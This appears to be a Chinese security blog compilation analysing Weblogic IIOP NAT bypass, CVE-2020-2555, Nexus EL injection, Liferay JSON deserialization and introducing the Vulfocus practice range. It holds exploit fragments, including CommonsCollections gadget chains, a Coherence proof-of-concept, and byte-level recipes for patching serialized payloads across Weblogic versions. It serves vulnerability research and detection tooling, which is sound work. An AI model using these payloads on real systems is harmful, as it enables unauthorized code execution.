通常在渗透的过程中会遇到很多 Weblogic 服务器,但通过 IIOP 协议进行发送序列化恶意代码包时,会面临着无法建立通讯请求发送恶意序列化失败。最近参与了一场在成都举办的《FreeTalk 2020 成都站》,有幸分享了关于 Weblogic IIOP 协议 NAT 绕过的几种方式。
PPT 下载地址:《Weblogic IIOP 协议NAT 网络绕过》
在演示中,所有的环境均为自搭建,请勿发起网络攻击。
Goby 工具中关于 Weblogic 基本都是用了 IIOP 协议绕过的方案,比较有代表性的漏洞为 CVE-2020-2551 漏洞。
内部工具 weblogic-framework
使用了多项核心技术来进行优雅的测试 Weblogic,其中也使用了 IIOP 协议的绕过方案。
在开始之前,非常有比较提及一下以下这些协议相关的内容:
RMI: 远程方法调用,本质上是 RPC 服务的 JAVA 实现,底层实现是 JRMP 协议,主要场景是分布式系统。
CORBA:跨语言(C ++、Java等)的通信体系结构,通常在 IIOP 协议中使用。
GIOP:主要提供标准的传输语法以及 ORB 通信的信息格式标准。
IIOP:CORBA 对象之间交流的协议,GIOP 的实现。
RMI-IIOP:解决 RMI 和 CORBA/IIOP 无法同时使用的技术方案。
Weblogic IIOP:Weblogic 自实现的 RMI-IIOP。
T3:WebLogic Server 中的 RMI 通信使用 T3 协议传输 WebLogic Server 和其他 Java 程序,包括客户端及其他 WebLogic Server 实例之间 数据。
T3 协议本质上 RMI 中传输数据使用的协议,但通过上面我们看到 RMI-IIOP 是可以兼容 RMI 和 IIOP 的,所以在 Weblogic 中只要可以通过 T3 序列化恶意代码的都可以通过 IIOP 协议进行序列化,正是因为这种情况,我进入 Weblogic 第三季度深度贡献者名单。
一般 IIOP 序列化攻击的大致流程主要为首先构建恶意序列化代码,然后初始化上下文实例,最后通过 bind/rebind
进行发送恶意序列化代码,下图为关键代码。
初始化上下文通过攻击流程中的 new InitialContext(env)
进行构建,最终的入口点通过 getInitialContext
方法进行构建,最终是进行流入到 InitialContextFactoryImpl.getInitialContext
进行初始化上下文。
在流入 InitialContextFactoryImpl.getInitialContext
之后会通过 obj = ORBHelper.getORBHelper().getORBReference
来进行获取 NameService
,然后将获取到的 NameService
进行实例化创建上下文实例,提供后续的执行操作。
执行 rebind
流程中,首先会通过 this.getContext
方法进行获取前面所讲的上下对象,然后通过 rebind_any
进行发发送序列化代码,当前在此之前已经通过经过序列化的了。
在 rebind_any
中,首先会通过 this._request
进行发送 rebind_any
建立 Socket 通讯,最后通过 this._invoke
方法进行执行最终的操作发送序列化代码。
所以最终大致的执行流程是如下图,获取 NameService
,基于获取的信息进行创建上下文实例(获取实际连接信息),然后进行发起 request
请求,最后进行执行 rebind_any
操作。
NAT 网络构建通过 http://vulfocus.fofa.so/
进行搭建构造。
在后续的调试以及研究中我们所使用的版本为 12.1.3.0 版本,漏洞为 CVE-2020-2555 漏洞,以下为漏洞 POC,以及漏洞执行链,在这里不多讲该漏洞,有兴趣的可以移步漫谈 Weblogic CVE-2020-2555。
执行链:
1 | ObjectInputStream.readObject() |
当我们可以与 Weblogic 所处同一网段并且可达的时,可以看到是成功执行系统命令弹出计算器。
通过 Wireshark 进行抓包可以,可以看到一共通讯了 2 次,第一次发送 LocateRequest
类型的 LocateRequest
的通讯操作获取 NameService
,第二次发送 Request
类型的 rebind_any
操作进行发送序列化代码。
而进行测试公网中的靶机时抛出 Operation time out
异常,具体信息如下图。
而在 Wireshark 中可以看到,与第一次获取NameService
中的内网 IP、端口进行了 Socket 通信。
而在执行的流程中停留在了 createEndPoint
方法中,所以通信问题大概率是在此方法中引发的。
在 createEndPoint
方法中,最后通过 MuxableSocketIIOP.createConnection
方法进行建立 Socket 通信,此时的通信变为了 Weblogic 运行的内网 IP 和端口。
所以大体的情况为如下图,问题出现在发起 request
时调用的 createEndPoint
方法中,由于 createEndPoint
无法正常建立 Socket 通信导致后续的操作无法正常秩序。
其实,我们也可以在 Weblogic 启动日志中也可以看到 Weblogic 关于端口和协议分配的情况,基本分配都是内网网卡的IP和端口同时会进行监听 0.0.0.0:7001
来处理协议的请求操作,那么现在问题来了,公网中的 Weblogic 服务器 99% 分配的都是内网 IP 和端口。
由于问题发生在响应的 Weblogic 在获取 NameService 时,响应的 IP和端口为内网中的端口,导致在后续 createEndPoint
建立 Socket 通信,所以我们可以进行在建立 Socket 通信之前修改为正确的 IP和端口(公网中的IP和端口)。
当我们与服务器所处同一网段时,可以看到一共通讯了 2 次,第一次发送 LocateRequest
类型的 LocateRequest
的通讯操作获取 NameService
,第二次发送 Request
类型的 rebind_any
操作进行发送序列化代码。
所以我们根据 Wireshark 中的信息,可以进行构建极简的 GIOP 实现,大体如下:
GIOP 协议大致由 Header 和 Message Type 进行构成,在 Header 包含了 Magic、Version、Message Type、Message Size。
Message Type 的类型如下:
消息类型 | 始发方 |
---|---|
Request | Client |
Request | Server |
CancelRequest | Client |
LocateRequest | Client |
LocateReply | Server |
CloseConnection | Server |
MessageError | Both |
Fragment | Both |
获取 NameService 请求代码实现:
执行 rebind_any 操作代码实现:
最终效果:
Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库,它使 Java 程序能够在运行时定义一个新类,并在 JVM 加载时修改类文件。
读取类
1 | ClassPool pool = ClassPool.getDefault(); |
创建类
1 | ClassPool pool = ClassPool.getDefault(); |
继承
cc.setSuperclass(pool.get("test.Point"));
写入
1 | cc.writeFile(); |
需要注意的是 toClass()
会把当前修改的 Class 加入到当前的 ClassLoader
中。
创建方法1
2
3ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
修改方法1
2
3
4CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
ctMethod.setBody("System.out.println(\"set body\");");
ctMethod.insertBefore("System.out.println(\"set before\");");
ctMethod.insertAfter("System.out.println(\"set after\");");
通过 Javassist 进行实现时,可以通过修改建立 Socket 通信之前的方法,将 ip、端口替换为正常的 IP 和端口,在这里选取的是 newSocket
方法,在第一个参数为 host
,第二个参数为 port
。
最终修改的如下图:
在实现的过程中,仅需要在执行到 newSocket
方法时,将连接到 IP 和端口设置为正确的 IP 和 端口,核心代码如下图:
最终效果:
在执行的流程中最终执行到了 createEndPoint
方法中,从执行流程来看主要如下图所示。
在执行 rebind
方法发送序列化代码时,可以看到在此时已经变成了 Weblogic 内网中运行的 IP 和 端口,直到程序执行到 createEndPoint
抛出异常。
而执行到 getInvocationIOR
方法时,会调用 IIOPRemoteRef.locateIORForRequest
方法来进行寻找 IOR
,并且将寻找到的 IOR
设置为当作当前 IOR
进行返回提供使用。
在进入 locateIORForRequest
方法之后会通过 EndPointManager.findOrCreateEndPoint
来进行寻找或创建结束切点,可以看到此时 IOR
的 host
、port
变成了内网中的 IP 和端口。
在进入 EndPointManager.findOrCreateEndPoint
最终会执行到 createEndPoint
方法中来进行建立 Socket 通信,在这里由于是内网的 IP 和端口无法成功建立通信,导致后续的利用也无法继续进行。
大致的问题点已经确认的清楚的情况下,我们可以通过修改原始代码的方式来进行实现绕过,大体思路为:
weblogic.corba.j2ee.naming.ContextImpl
类中的 rebind
方法weblogic.iiop.IIOPRemoteRef
类中 locateIORForRequest
方法的 ior 参数,确保正常调用 findOrCreateEndPoint
创建结束切点首先修改 weblogic.corba.j2ee.naming.ContextImpl
类中 rebind
方法将正确的连接 IP 和端口加入到系统环境变量中。
最后在 locateIORForRequest
方法读取系统环境变量中正确的 IP 和端口并且修改 ior
变量中相关的连接信息。使之能够正常的执行 findOrCreatePoint
方法创建结束切点
最终效果:
开源地址:https://github.com/fofapro/vulfocus
漏洞靶场是目前每个安全人员以及想学习信息安全的人必备的东西,但目前商业化产品居多,还有一些类似 dvwa、 sqli-labs 这类的开源项目,但是漏洞环境比较固定,使用完一次后就失去其作用。搭建的成本过高,每次启动的流程会比较繁琐,甚至很多场景是不满足的,之前关于漏洞环境镜像使用多的是 vulhub,但是作为企业、高校等以及相关的培训,单纯的漏洞环境不一定能满足使用的需求,所以我们基于当下的一些靶场项目做出了小小的改进来符合我们的一些需求,比如增加 flag 的形式,来满足一些考核与验证的需求,可以对我们内部人员能力进行考核,于是 Vulfocus 就诞生了。
因为 Vulfocus 一个漏洞集成平台,所以可以无限向里添加漏洞环境没有限制,前提是你的内存足够大。因为漏洞环境是docker镜像的原因每次重新启动漏洞环境都会还原,不用出现你会对环境造成破坏下次无法启动的现象。
Vulfocus 的 docker 仓库 https://hub.docker.com/u/vulfocus
🏠 请参考 INSTALL.md 进行安装。
⬇️ 发行版下载 https://github.com/fofapro/vulfocus/releases。
安装完成后,访问80端口
用设置好的管理员账户登录
首页为漏洞集成页面,刚开始是没有漏洞镜像的需要从 https://hub.docker.com/ 网站拉取镜像,或自己以tar包的形式上传。
漏洞镜像的拉取和上传(需管理员权限):
(1)、在进行管理中,添加功能
(2)、分别填入漏洞名称、镜像、rank、描述
vulfocus/webmin-cve_2019_15107
。 初期 Vulfocus 的漏洞镜像会较少,可能无法满足你的需求,所以非常期望大家来一起维护 Vulfocus,当你发现你的一些漏洞环境在 Vulfocus 中找不到时,可以提交供大家使用。一个有问题的环境可能会影响到使用者的情绪。因此我们对社区提交的漏洞环境会进行审核。贡献者在提交漏洞环境的时候,可提供相应的复现工具或流程,加速环境的审核。
vulfocus/spring-cve_2017_8046
fork vulfocus 至个人项目,然后 clone 项目。
提交 dockerfile 至 images 文件夹中创建漏洞名称,然后将 dockerfile 放置该目录下,最后将环境信息提交至 images/README.md
。
如有问题可以在 GitHub 提 issue, 也可在下方的讨论组里
GitHub issue: https://github.com/fofapro/vulfocus/issues
微信群: 通过扫描以下二维码加入并且备注 申请 Vulfocus
加入 Vulfocus 官方微信群。
该项目会收集了当下比较流行的漏洞环境,若有侵权,请联系我们!
镜像启动后立即访问地址失败?
提交完 flag 后会有卡住?
拉取镜像时一直卡在哪里
由于网络延迟或镜像太大的原因时间会长一点。
镜像名称填错,也会卡在哪里,建议强刷一下。
3 月 31 日 Nexus Repository Manager 官方发布了 CVE-2020-10199
CVE-2020-10204
的漏洞通告信息,两个漏洞均是由 Github Secutiry Lab 的是 @pwntester 发现的。
Nexus Repository 是一个开源的仓库管理系统,在安装、配置、使用简单的基础上提供了更加丰富的功能。
CVE-2020-10199
和 CVE-2020-10204
主要是由于可执行恶意 EL表达式
导致的。
该漏洞的最终触发是通过给 HelperBean
的 message
进行 EL表达式
注入。
Nexus Repository Manager 3.x OSS / Pro <= 3.21.1
漏洞触发的主要原因是在org.sonatype.nexus.security.privilege.PrivilegesExistValidator
或 org.sonatype.nexus.security.role.RolesExistValidator
类中,会对不存在的 privilege
或 role
抛出错误,而在错误信息抛出的时候,会存在一个 EL表达式
的渲染,会提取其中的el表达式并执行,从而造成 EL表达式
注入。
Nexus Repository Manager 3.x OSS / Pro <= 3.21.1
下载 Docker 镜像:
1 | docker pull sonatype/nexus3:3.21.1 |
创建 nexus 数据存储目录:
1 | mkdir /your-dir/nexus-data |
运行 Docker 镜像,并且开启调试端口,其中 8081 为 web 访问端口,5050 端口为远程调试端口:
1 | docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /your-dir/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.21.1 |
下载 Nexus 源码,并且切换至 3.21.0-05
分支:
1 | git clone https://github.com/sonatype/nexus-public.git |
IDEA 导入项目并且配置远程调试信息:
该漏洞主要是因为 HelperBean
的 message
并做 EL表达式过滤,导致出现 RCE 漏洞。根据作者作者描述,作者发现如果可控的数据进入到 createViolation
函数将会调用 buildConstraintViolationWithTemplate
执行EL表达式,在 org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#validateGroupMembers:97
中 createViolation
会调用执行。
1 | private void validateGroupMembers(T request) { |
其中 GolangGroupRepositoriesApiResource
继承 AbstractGroupRepositoriesApiResource
符合,在执行 createRepository
或 updateRepository
会利用到 validateGroupMembers
从而触发漏洞:
其中 @path
为请求路径,通过变量拼接可以得出完整的路径为 beta/repositories/go/group
也可以通过 Java Enterprise
可以看到请求路径为 beta/repositories/go/group
。
通过查看 swagger 可以看到请求的 Base URL 为 /service/rest/
,最后得出请求的完整链接为 /service/rest/beta/repositories/go/group
。
最后发起请求执行命令:
可以看到请求的参数为 GolangGroupRepositoryApiRequest
类,该类中请求的参数 group
类型为 GroupAttributes
。
可以看到在 GroupAttributes
构造方法中需要一个参数名称为 memberNames
属性,该属性的类型为Collection<String>
。
通过查看 Collection
的继承链可以看到在有 List
、Set
、Queue
等继承,也就是说在请求的参数为其中继承某一个类型就可以实现。
回到正题,为什么 String
类型的不行,查看 String
类,源代码可以看到 String
并未继承 Collection
所以无法正常使用。
CVE-2020-10204 为 CVE-2018-16621
的绕过,官方在修复的漏洞采用的方案是新增 org.sonatype.nexus.common.template.EscapeHelper.stripJavaEl:81
对用户输入roles参数进行过滤,正则匹配的结果是将‘${’替换为‘{ ’,从而防止EL表达式注入,代码片段如下:1
2
3
4
5
6
7
8
9
10/**
* Strip java el start token from a string
* @since 3.14
*/
public String stripJavaEl(final String value) {
if (value != null) {
return value.replaceAll("\\$+\\{", "{");
}
return null;
}
漏洞触发主要是由于 org.sonatype.nexus.security.privilege.PrivilegesExistValidator
和 org.sonatype.nexus.security.role.RolesExistValidator
类中,会将没有找到的 privilege 或 role 放入错误模板中,而在错误模板在渲染的时候会提取其中的EL表达式
并执行。
最后发起请求执行命令:
进入 EL表达式
流程之后会通过org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree#validateConstraints
进行校验表达式,然后通过 addConstraintFailure
进行添加 validationContext
。
跟进 addConstraintFailure
之后可以看到 messageTemplate
为我们提交的 EL表达式
信息,然后通过 this.interpolate
进行执行该表达式。
跟进 this.interpolate
可以看到通过 this.validatorScopedContext.getMessageInterpolator().interpolate(messageTemplate, context);
进行执行,其中 messageTemplate
参数为我们提交的 EL表达式
。
跟进 org.hibernate.validator.messageinterpolation.AbstractMessageInterpolator#interpolate
之后,将提交的 EL表达式
作为参数交由 this.interpolateMessage(message, context, this.defaultLocale);
处理。
继续跟进 org.hibernate.validator.messageinterpolation.AbstractMessageInterpolator#interpolateMessage
然后通过 this.interpolateExpression
进行针对表达式进行处理,然后将处理结果赋值给 resolvedMessage
,并且作为参数再次处理表达式。
此时执行的代码为 this.interpolateExpression(new TokenIterator(this.getParameterTokens(resolvedMessage, this.tokenizedELMessages, InterpolationTermType.EL)), context, locale);
跟进代码可以看到 isEL=True
,然后通过 this.interpolate
处理。
跟进 org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator#interpolate:83
可以看到已经将我们提交的 EL表达式
实例化为 EL 类型对象。
最后通过 org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver#interpolate
方法中的 resolvedExpression = (String)valueExpression.getValue(elContext);
进行执行表达式,然后将执行结果转换为 String
类型结果内容进行响应。
以下为整个的调用链条:
升级至最新版本或 Nexus Repository Manager 3.x OSS / Pro > 3.21.1
近日有 Code White 安全团队发现关于 Liferay Portal 多个比较严重的 JSON fan 反序列化漏洞,影响 Liferay Portal 6.1、6.2、7.0、7.1 以及 7.2 版本,这些漏洞可以通过 Json web 进行未授权远程代码执行。固定版本为 6.2 GA6、7.0 GA7、7.1 GA4 和 7.2 GA2。
对应的漏洞分别是:
- CST-7111: 通过JSON反序列化实现RCE (LPS-88051/LPE-16598)
在Liferay Portal 6.1和6.2中,Flexjson 库用于序列化和反序列化数据。它支持对象绑定,对任何带有无参数构造函数的类将使用被初始化对象的setter
方法。类的规范是通过class对象键:
1 {"class":"fully.qualified.ClassName", ... }
该漏洞于 2018 年 12 月被报告,已在企业版中被修复,包括 6.1 EE GA3 fixpack 71 和 6.2 EE GA2 fixpack 1692 和 6.2 GA6。
JSONWebServiceActionParametersMap
Liferay Portal 的允许任意类和任意 setter
方法调用的实例。环境信息:
配置 Tomcat 调试端口,修改 tomcat/bin/setenv.sh
(windows 为 setenv.bat) 文件加入export JPDA_ADDRESS=0.0.0.0:5555
(windows 为 set JPDA_ADDRESS=0.0.0.0:5555
),其中5555
为远程调试端口,0.0.0.0
表示可连接调试端口的 IP 地址。
将整个项目作作为调试运行目录,将 tomcat-9.0.17/webapps/ROOT/WEB-INF/lib
目录添加 Libraries
:
配置 Remote
方式进行远程调试,ip 设置为开启 tomcat 调试服务的 IP,端口为 5555
:
注:Tocmat 运行命令为 ./catalina.sh jpda start
使用调试模式运行。
Liferay Portal 提供了一个全面的 JSON Web 服务 API ,并提供了三种不同的调用Web服务方法的示例:
通过通用URL /api/jsonws/invoke
,其中服务方法及其参数通过POST作传输,一个JSON对象或基于表单的参数。
通过服务方法特定的 URL ,例如 /api/jsonws/service-class-name/service-method-name
,其中参数传递是通过基于表单的 POST
数据包。
通过服务方法特定的URL,例如 /api/jsonws/service-class-name/service-method-name
,其中参数也是通过URL的形式传递,例如 /api/jsonws/service-class-name/service-method-name/arg1/val1/arg2/val2/…
。
在 Liferay Portal 主要在 /tomcat-9.0.17/webapps/ROOT/WEB-INF/lib/portal-impl.jar
文件中com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSON:43
进行处理 JSON 请求然后交由com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSONWebServiceAction:115
来进行处理 Json API。
然后会通过 com.liferay.portal.jsonwebservice.JSONWebServiceActionsManagerImpl#getJSONWebServiceAction:74
进行对请求对参数进行来进行遍历处理。
com.liferay.portal.jsonwebservice.JSONWebServiceActionParameters#collectAll:50
中 this._collectFromRequestParameters(httpServletRequest);
来进行处理请求参数。
com.liferay.portal.jsonwebservice.JSONWebServiceActionParameters._collectFromRequestParameters;170
首先会将参数转换为 Set
类型,然后进行迭代循环,最后通过 this._jsonWebServiceActionParameters.put(parameterName, value);
。
跟踪进入会跳入 com.liferay.portal.jsonwebservice.JSONWebServiceActionParametersMap#put:48
中并且将参数名称以及值进行传入,并且判定参数名是否包含 :
( char 58 表示为 :
) ,然后通过 this._parameterTypes.put(key, typeName);
将 :
之前的内容作为 key
以及 :
之后的内容作为类型添加至 this._parameterTypes
变量中。
com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSONWebServiceAction
执行完毕会跳回 com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSON
并且执行 jsonWebServiceAction.invoke()
。
跟进 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#invoke:54
然后会执行 this._invokeActionMethod();
。
进入 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_invokeActionMethod
之后,将actionClass
作为参数调用 thiis._prepareParameters(actionClass);:316
。
跟进 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_prepareParameters
之后会通过 this._jsonWebServiceActionConfig.getMethodParameters()
获取请求方法参数,然后进行循环根据指定类载入的参数名与请求包中的参数名进行赋值,然后根据载入类中参数的类型。如果通过 this._jsonWebServiceActionParameters.getParameter(parameterName);
提取到内容信息会通过 this._jsonWebServiceActionParameters.getParameterTypeName(parameterName);
进行获取请求参数类型,也就是 :
之后的内容,并且通过 ClassLoader 获取该类的 class。
获取到该类的 Class 之后,会通过 parameterValue = this._convertValueToParameterValue(value, parameterType, methodParameters[i].getGenericTypes());
将内容转换为参数类型对象。
跟踪进入 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_convertValueToParameterValue
之后会跳入 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_convertType
中进行类型转换,在转换的过程中会进行抛出异常,通过捕获异常之后会进行判定是否为 Map
并且是 {
开头的字符串,然后进行反序列化执行恶意代码。
修复版本:6.2 GA6、7.0 GA7、7.1 GA4 和 7.2 GA。
目前官方已发布了安全补丁,可通过 https://liferay.dev/blogs/-/blogs/security-patches-for-liferay-portal-6-2-7-0-and-7-1 进行相应版本的下载。
首先要理解该漏洞的话,先要知道几点:
这几点可自行搜索查看,在先知中也有不少例子。
在我这个菜鸡理解的IIOP和RMI协议区别是没什么区别反正都是远程调用对象,所以就用RMI写了个远程执行命令的HelloWord来做了个实验。
编写RMI过程步骤
1、一个必须继承Remote的接口并且抛出RemoteException异常
2、引用并实现该接口
3、服务端开启远程调用并且实现绑定该接口
4、客户端直接远程调用该接口
5、最后执行效果
可以看到通过手动写的RMI调用的例子上是可以实现RMI回显的,既然RMI和IIOP都一样那么在IIOP中是否也能通过这种方式回显呢,要在Weblogic中实现此方法回显,也要跟RMI一样要一个符合要求的接口,要一个实现该接口的恶意类,然后进行绑定,因为在 weblogic 中 7001 端口是多中协议包括 IIOP,所以就不行开启远程端口,只需要绑定上即可。
那么第一步开始查找 weblogic 中查找可以远程调用的接口,最终在weblogic发现了完美符合要求的一个类。
第二步引用并且实现该类,在经过查找后并没有发现可以实现该类的方法,想了想在weblogic一些版本中是存在 CommonsCollections3.1 的这个版本中是存在可利用的反序列化 gadget 的,想了一下可以通过写一个实现实现该类的方法写入到服务器本地然后绑定该类实现调用,在默认 ysoserial 中是没有写文件的 gedget 的所以就要修改一个如:
1 | Transformer[] transformers = {new ConstantTransformer(FileOutputStream.class), |
通过此方法写入进去了实现远程调用接口的类,接下来就是绑定,但是已有的poc中直接绑定肯定是不行的
1 | Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, object), Remote.class); |
在与之前 Hello 对比
1 | Hello h=(Hello) UnicastRemoteObject.exportObject(hello,1099); |
明显是不同的没有办法直接绑定写入那个实现接口的那个恶意类,后来想了一个思路就是通过在恶意类里直接写一个绑定的方法,然后通过利用CommonsCollections3的gadget改成执行那个恶意类里的方法来绑定实现
1 | Transformer[] transformers = { |
至于如何在本类绑定调用可以用 Context ctx = new InitialContext();
这个方式来实现绑定,最后绑定成功后实现回显的话就跟 Hello
中例子一样ClusterMasterRemote clusterMasterRemote=(ClusterMasterRemote)initialContext.lookup("tttt");
编写实现
最后放一个执行的过程:
写入类
执行类
执行回显
https://github.com/5up3rc/weblogic_cmd
1 | 作者:Ntears |
在2020年1月,互联网上爆出了Weblogic反序列化远程命令执行漏洞(CVE-2020-2555),Oracle Fusion中间件 Oracle Coherence 存在缺陷,攻击者可利用该漏洞在未经授权下通过构造T3协议请求,获取 Weblogic 服务器权限,执行任意命令,风险较大。
漏洞信息曝光之后,互联网中发布几篇该漏洞相关的分析文章以及利用 POC,但公布的 POC 有部分不足之处,导致漏洞检测效率变低,不足之处主要体现在:
1 目前所有的利用工具都是通过动态编译进行生产 POC 文件而且必须要有 java 环境。
2. 公布的 POC 只是针对单独一个版本有效,无法适应多个 Weblogic 版本。
漏洞影响情况:
通过研究发现 Weblogic 10.3.6.0 版本不受影响范围内,虽然该版本默认自带了 Coherence(3.7),通过调试发现该版本默认并未启用 Coherence,所以 Weblogic 10.3.6.0 不在受影响范围内。
注:
1. 经过大量的测试,我们的 POC 可稳定运行在多个操作系统、多个 weblogic 版本、多个 JDK 版本中。
2. 以上测试及分析环境全部基于内部环境。
本文基于 Weblogic 12.1.3 版本进行研究分析测试。
修改目录 user_project/domains/bin
目录中 setDomainEnv.cmd
或者 setDomainEnv.sh
文件,加if %debugFlag == "false"%
之前加入 set debugFlag=true
。
拷贝 Oracle_Home
目录下所有文件至调试目录,并且 coherence\lib
添加 Libraries
:
配置 Remote
方式进行远程调试, ip 设置为开启 set debugFlag=true
的服务器 IP, 端口为 8453
:
该漏洞主要是因为 com.tangosol.util.filter.LimitFilter#toString
方法内部可通过 m_comparator
和 m_oAnchorTop
可自定义进行设置,形成利用链条导致漏洞的发生,以下为整个利用链条:
1 | Gadget chain: |
通过利用利用链条,可以基于 ysoserial 中的 CommonsCollections5 进行构造利用 POC:
1 | public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { |
该漏洞主要是因为 com.tangosol.util.filter.LimitFilter#toString
触发,通过跟踪我们可以看到 m_oAnchorTop
为 classs java.lang.Runtime
, 以及 m_comparator
为 ValueExtractor
接口的 ChainedExtractor
实现。
核心通过 extractor.extract
进行触发,跟踪代码会跳入 com.tangosol.util.extractor.ChainedExtractor#extract
,并且将每次执行结果作为参数,通过 aExtractor[i].extract(oTarget)
进行执行,第一次 oTarget
参数值为 class java.lang.Runtime
跟踪进入 aExtractor[i].extract(oTarget)
会跳入 com.tangosol.util.extractor.ReflectionExtractor#extract
,最后通过 method.invoke
反射执行,也就是说开始执行 java.lang.Runtime.getRuntime
,最后讲执行的结果进行 return
,类型为 java.lang.Runtime
,所以整个方法执行的代码为 java.lang.Runtime.class.getMethod("getRuntime",new Class[0]);
第二次将java.lang.Runtime.getRuntime
(也就是 java.lang.Runtime
) 作为 oTarget
参数值进行传入执行
进行循环 method.invoke
,反射执行 invoke
,最终执行代码为java.lang.Runtime.class.getMethod("getRuntime",new Class[0]).invoke(null, new Object[0])
,最后执行完毕结果为 java.lang.Runtime
类,并且将 return
提供下次进行调用执行。
最后通过 java.lang.Runtime.exec
进行反射执行命令,最终执行的代码为 runtime.exec(new String[]{"cmd", "/c", "notepad"})
达到执行命令的目的,弹出记事本。
weblogic 10.3.6 版本默认自带 coherence_3.7 ,但通过 Debug 调试发现 weblogic 10.3.6 并未启用 coherence_3.7 所以无法针对 weblogic 10.3.6 进行测试,但 coherence_3.7 版本中 com.tangosol.util.filter.LimitFilter#toString
漏洞仍然存在,所以 coherence 3.7 版本存在漏洞但 weblogic 10.3.6 默认情况下不存在该漏洞。
经过分析发现 POC 很多不足之处,导致漏洞检测效率变低,同时无法进行通过其他语言开发调用。
如果 POC 用于非 java 语言开发的扫描框架时,是非常麻烦的要么是将代码集成 ysoserial 然后通过进程调用的方式动态生成序列化文件,但该方法会不断的通过进程调用执行代码,会造成很大的资源开销。除了使用这种方法之外还可以通过加载以前的 POC 进行二进制读取并且替换代码重新生成序列化文件。
通过研究分析发现,修改参数内容时变动的内容主要为 13 5B 4C 6A 61 76 61 2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56 E7 E9 1D 7B 47 02 00 00 78 70 00 00 00 03 74 00
字节至 00 04 65 78 65 63 70 70 76 72 00 11 6A 61 76 61 2E 6C 61 6E 67 2E 52 75 6E 74 69 6D 65 00 00 00 00 00 00 00 00 00 00 00 78 70
的内容信息,其中左图的参数为 new String[]{"cmd", "/c", "notepad"}
,右图的参数为 new String[]{"cmd", "/c", "calc"}
。
通过分析相同 weblogic 版本中通过 coherence.jar
生成的 payload
,比对其中差异发现参数构造的方式为:每个参数的长度转换为 16 进制,占用 2 个字节,不足用 0
补足 + 每个参数值的 Hex 码 + ( 70 weblogic 12.2.1.3.0 版本最后一位参数 ) +74 (作者理解为标识符),所以转换对应情况如下:
new String[]{"cmd", "/c", "notepad"}
( weblogic 12.2.1.3.0,需要加 70 其他版本不需要)对应的转换情况为:
1 | 00 03 63 6D 64 74 00 02 2F 63 74 00 07 6E 6F 74 65 70 61 64 70 74 |
new String[]{"cmd", "/c", "calc"}
( weblogic 12.2.1.3.0,需要加 70 其他版本不需要)对应的转换情况为:
1 | 00 03 63 6D 64 74 00 02 2F 63 74 00 04 63 61 6C 63 70 74 |
了解了参数变动的规律以及对应的字节码,我们就可以基于该方式进行动态构建序列化文件。
测试中使用的各个版本生产 POC 序列化文件存放在 CVE-2020-2555 file
目录中。
版本 | 文件名 | 描述 | 操作系统 |
---|---|---|---|
12.1.3.0.0 | 121300_calc.666 | calc | Windows |
12.1.3.0.0 | 121300_notepad.666 | notepad | Windows |
12.1.3.0.0 | 121300_ping.666 | ping | Windows |
12.1.3.0.0 | 121300.666 | calc | Windows |
12.2.1.3.0 | 122130_calc.666 | calc | Windows |
12.2.1.3.0 | 122130_linux_calc.666 | calc | Linux |
12.2.1.3.0 | 122130_linux_curl.666 | curl | Linux |
12.2.1.3.0 | 122130_notepad.666 | notepad | Windows |
12.2.1.3.0 | 122130.666 | calc | Windows |
12.2.1.4.0 | 122140_calc.666 | calc | Windows |
12.2.1.4.0 | 122140_linux_calc.666 | calc | Linux |
12.2.1.4.0 | 122140_linux_curl.666 | curl | Linux |
12.2.1.4.0 | 122140_notepad.666 | notepad | Windows |
12.2.1.4.0 | 122140.666 | calc | Windows |
在研究测试时,通过某一个 Coherence 版本生成的序列化文件,无法适用于多个版本,以下为多版本的详细测试情况:
poc 生成版本 | 测试版本 | 是否成功 |
---|---|---|
12.1.3.0.0 | 12.1.3.0.0 | 是 |
12.1.3.0.0 | 12.2.1.3.0 | 否 |
12.1.3.0.0 | 12.2.1.4.0 | 否 |
12.2.1.3.0 | 12.1.3.0.0 | 否 |
12.2.1.3.0 | 12.2.1.3.0 | 是 |
12.2.1.3.0 | 12.2.1.4.0 | 否 |
12.2.1.4.0 | 12.1.3.0.0 | 否 |
12.2.1.4.0 | 12.2.1.3.0 | 否 |
12.2.1.4.0 | 12.2.1.4.0 | 是 |
可以发现一个 POC 无法适用于多版本的 weblogic 中,针对该情况可以基于 weblogic 序列化文件转换为字节码结合动态序列化技术处理,来达到兼容多个版本的目的。
截止 2020 年 3 月 4 日,通过 Oracle 官方进行下载 weblogic 时,通过研究发现该漏洞依然存在可以利用(所有受影响版本),需要额外安装补丁。
如下文件为下文件MD5值以及下载时间:
文件名称 | MD5 | 创建时间 |
---|---|---|
fmw_12.1.3.0.0_wls.jar | 8378FE936B476A6F4CA5EFA465A435E3 | 2020-03-04 |
fmw_12.2.1.3.0_wls.jar | 6E7105521029058AD64A5C6198DB09F7 | 2017-08-21 |
fmw_12.2.1.4.0_wls.jar | AA090712069684991BA27E4DE9ED3FF6 | 2019-09-13 |
coherence.jar(12.1.3.0.0) | E807E84D352374E33D0E2A8CC649534A | 2014-05-14 |
